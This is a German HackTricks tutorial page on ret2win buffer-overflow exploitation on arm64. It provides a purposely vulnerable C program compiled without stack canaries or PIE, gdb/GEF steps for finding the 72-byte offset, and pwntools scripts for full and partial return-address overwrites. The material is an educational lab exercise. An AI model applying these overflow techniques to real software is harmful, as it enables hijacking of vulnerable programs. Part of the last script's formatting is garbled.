Ret2win - arm64

Ret2win - arm64

Unterstützen Sie HackTricks

Finden Sie eine Einführung in arm64 in:

Introduction to ARM64v8

Code

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompilieren ohne pie und canary:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie

Finden des Offsets

Musteroption

Dieses Beispiel wurde mit GEF erstellt:

Starte gdb mit gef, erstelle ein Muster und verwende es:

gdb -q ./ret2win
pattern create 200
run

arm64 wird versuchen, zur Adresse im Register x30 (das kompromittiert wurde) zurückzukehren. Wir können das verwenden, um den Muster-Offset zu finden:

pattern search $x30

Der Offset beträgt 72 (9x48).

Stack-Offset-Option

Beginnen Sie damit, die Stack-Adresse zu erhalten, an der das pc-Register gespeichert ist:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Setzen Sie nun einen Haltepunkt nach dem read() und fahren Sie fort, bis das read() ausgeführt wird, und setzen Sie ein Muster wie 13371337:

b *vulnerable_function+28
c

Finde heraus, wo dieses Muster im Speicher gespeichert ist:

Dann: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Kein PIE

Regulär

Hole dir die Adresse der win Funktion:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Tatsächlich wird dies eher wie ein Off-by-2 im gespeicherten PC im Stack sein. Anstatt die gesamte Rücksprungadresse zu überschreiben, werden wir nur die letzten 2 Bytes mit 0x06c4 überschreiben.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Ein weiteres Off-by-One-Beispiel in ARM64 finden Sie unter https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, das ein echtes Off-by-one in einer fiktiven Schwachstelle ist.

Mit PIE

Kompilieren Sie die Binärdatei ohne das Argument -no-pie

Off-by-2

Ohne einen Leak kennen wir die genaue Adresse der Gewinnfunktion nicht, aber wir können den Offset der Funktion von der Binärdatei kennen und wissen, dass die Rücksprungadresse, die wir überschreiben, bereits auf eine nahe Adresse zeigt. Es ist möglich, den Offset zur Gewinnfunktion (0x7d4) in diesem Fall zu leaken und einfach diesen Offset zu verwenden:

```python from pwn import *

Configuration

binary_name = './ret2win' p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()


<div data-gb-custom-block data-tag="hint" data-style='success'>

Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Unterstütze HackTricks</summary>

* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.

</details>

</div>

Last updated